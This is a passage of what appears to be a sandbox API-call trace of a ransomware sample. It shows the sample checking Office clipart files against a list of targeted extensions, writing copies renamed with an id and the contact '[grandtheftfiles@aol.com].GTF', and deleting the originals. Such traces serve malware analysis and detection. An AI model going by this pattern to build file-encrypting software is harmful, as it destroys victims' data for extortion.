	[0091.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0091.308] lstrlenW (lpString=".1cd") returned 4
	[0091.308] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0091.308] lstrlenW (lpString=".jpg") returned 4
	[0091.308] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0091.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0091.316] lstrlenW (lpString=".doc") returned 4
	[0091.316] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.316] lstrlenW (lpString=".docx") returned 5
	[0091.316] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0091.324] lstrlenW (lpString=".pdf") returned 4
	[0091.324] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.324] lstrlenW (lpString=".xls") returned 4
	[0091.324] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.324] lstrlenW (lpString=".xlsx") returned 5
	[0091.324] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0091.324] lstrlenW (lpString=".ppt") returned 4
	[0091.324] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0091.332] lstrlenW (lpString=".zip") returned 4
	[0091.332] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.332] lstrlenW (lpString=".rar") returned 4
	[0091.332] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.332] lstrlenW (lpString=".bz2") returned 4
	[0091.339] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.339] lstrlenW (lpString=".7z") returned 3
	[0091.339] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0091.339] lstrlenW (lpString=".dbf") returned 4
	[0091.339] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0091.339] lstrlenW (lpString=".1cd") returned 4
	[0091.339] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0091.340] lstrlenW (lpString=".jpg") returned 4
	[0091.340] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.340] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.340] lstrlenW (lpString="J0099178.WMF") returned 12
	[0091.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0091.340] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3606) returned 1
	[0091.340] CloseHandle (hObject=0x37c) returned 1
	[0091.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220
	[0091.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0091.340] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.341] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.341] GetLastError () returned 0x0
	[0091.341] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xe16, lpOverlapped=0x0) returned 1
	[0091.342] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe20, lpOverlapped=0x0) returned 1
	[0091.343] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.344] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.344] SetEndOfFile (hFile=0x378) returned 1
	[0091.344] CloseHandle (hObject=0x378) returned 1
	[0091.344] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.344] SetEndOfFile (hFile=0x37c) returned 1
	[0091.345] CloseHandle (hObject=0x37c) returned 1
	[0091.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1
	[0091.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0091.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0091.345] lstrlenW (lpString=".doc") returned 4
	[0091.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.345] lstrlenW (lpString=".docx") returned 5
	[0091.345] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0091.345] lstrlenW (lpString=".pdf") returned 4
	[0091.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.345] lstrlenW (lpString=".xls") returned 4
	[0091.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.345] lstrlenW (lpString=".xlsx") returned 5
	[0091.345] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0091.345] lstrlenW (lpString=".ppt") returned 4
	[0091.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0091.346] lstrlenW (lpString=".zip") returned 4
	[0091.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.346] lstrlenW (lpString=".rar") returned 4
	[0091.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.346] lstrlenW (lpString=".bz2") returned 4
	[0091.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.346] lstrlenW (lpString=".7z") returned 3
	[0091.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0091.346] lstrlenW (lpString=".dbf") returned 4
	[0091.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0091.346] lstrlenW (lpString=".1cd") returned 4
	[0091.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0091.346] lstrlenW (lpString=".jpg") returned 4
	[0091.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0091.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0091.346] lstrlenW (lpString=".doc") returned 4
	[0091.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.346] lstrlenW (lpString=".docx") returned 5
	[0091.346] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0091.346] lstrlenW (lpString=".pdf") returned 4
	[0091.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.346] lstrlenW (lpString=".xls") returned 4
	[0091.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.346] lstrlenW (lpString=".xlsx") returned 5
	[0091.346] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0091.346] lstrlenW (lpString=".ppt") returned 4
	[0091.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0091.346] lstrlenW (lpString=".zip") returned 4
	[0091.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.346] lstrlenW (lpString=".rar") returned 4
	[0091.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.347] lstrlenW (lpString=".bz2") returned 4
	[0091.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.347] lstrlenW (lpString=".7z") returned 3
	[0091.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0091.347] lstrlenW (lpString=".dbf") returned 4
	[0091.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0091.347] lstrlenW (lpString=".1cd") returned 4
	[0091.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0091.347] lstrlenW (lpString=".jpg") returned 4
	[0091.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.347] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.347] lstrlenW (lpString="J0099179.WMF") returned 12
	[0091.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0091.348] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=9154) returned 1
	[0091.348] CloseHandle (hObject=0x37c) returned 1
	[0091.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220
	[0091.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0091.348] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.348] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.349] GetLastError () returned 0x0
	[0091.349] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x23c2, lpOverlapped=0x0) returned 1
	[0091.350] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x23d0, lpOverlapped=0x0) returned 1
	[0091.351] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.352] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.352] SetEndOfFile (hFile=0x378) returned 1
	[0091.352] CloseHandle (hObject=0x378) returned 1
	[0091.352] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.352] SetEndOfFile (hFile=0x37c) returned 1
	[0091.353] CloseHandle (hObject=0x37c) returned 1
	[0091.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1
	[0091.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0091.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0091.353] lstrlenW (lpString=".doc") returned 4
	[0091.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.353] lstrlenW (lpString=".docx") returned 5
	[0091.353] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0091.353] lstrlenW (lpString=".pdf") returned 4
	[0091.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.353] lstrlenW (lpString=".xls") returned 4
	[0091.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.353] lstrlenW (lpString=".xlsx") returned 5
	[0091.353] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0091.353] lstrlenW (lpString=".ppt") returned 4
	[0091.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0091.354] lstrlenW (lpString=".zip") returned 4
	[0091.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.354] lstrlenW (lpString=".rar") returned 4
	[0091.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.354] lstrlenW (lpString=".bz2") returned 4
	[0091.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.354] lstrlenW (lpString=".7z") returned 3
	[0091.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0091.354] lstrlenW (lpString=".dbf") returned 4
	[0091.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0091.354] lstrlenW (lpString=".1cd") returned 4
	[0091.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0091.354] lstrlenW (lpString=".jpg") returned 4
	[0091.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0091.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0091.354] lstrlenW (lpString=".doc") returned 4
	[0091.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.354] lstrlenW (lpString=".docx") returned 5
	[0091.354] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0091.354] lstrlenW (lpString=".pdf") returned 4
	[0091.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.354] lstrlenW (lpString=".xls") returned 4
	[0091.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.354] lstrlenW (lpString=".xlsx") returned 5
	[0091.354] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0091.354] lstrlenW (lpString=".ppt") returned 4
	[0091.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0091.354] lstrlenW (lpString=".zip") returned 4
	[0091.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.354] lstrlenW (lpString=".rar") returned 4
	[0091.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.355] lstrlenW (lpString=".bz2") returned 4
	[0091.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.355] lstrlenW (lpString=".7z") returned 3
	[0091.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0091.355] lstrlenW (lpString=".dbf") returned 4
	[0091.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0091.355] lstrlenW (lpString=".1cd") returned 4
	[0091.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0091.355] lstrlenW (lpString=".jpg") returned 4
	[0091.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.355] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.355] lstrlenW (lpString="J0099180.WMF") returned 12
	[0091.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0091.356] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3394) returned 1
	[0091.356] CloseHandle (hObject=0x37c) returned 1
	[0091.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220
	[0091.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0091.356] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.356] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.357] GetLastError () returned 0x0
	[0091.357] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xd42, lpOverlapped=0x0) returned 1
	[0091.358] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xd50, lpOverlapped=0x0) returned 1
	[0091.359] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.359] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.359] SetEndOfFile (hFile=0x378) returned 1
	[0091.359] CloseHandle (hObject=0x378) returned 1
	[0091.359] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.359] SetEndOfFile (hFile=0x37c) returned 1
	[0091.360] CloseHandle (hObject=0x37c) returned 1
	[0091.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1
	[0091.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0091.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0091.361] lstrlenW (lpString=".doc") returned 4
	[0091.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.361] lstrlenW (lpString=".docx") returned 5
	[0091.361] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0091.361] lstrlenW (lpString=".pdf") returned 4
	[0091.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.361] lstrlenW (lpString=".xls") returned 4
	[0091.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.361] lstrlenW (lpString=".xlsx") returned 5
	[0091.361] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0091.361] lstrlenW (lpString=".ppt") returned 4
	[0091.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0091.361] lstrlenW (lpString=".zip") returned 4
	[0091.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.361] lstrlenW (lpString=".rar") returned 4
	[0091.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.361] lstrlenW (lpString=".bz2") returned 4
	[0091.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.361] lstrlenW (lpString=".7z") returned 3
	[0091.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0091.361] lstrlenW (lpString=".dbf") returned 4
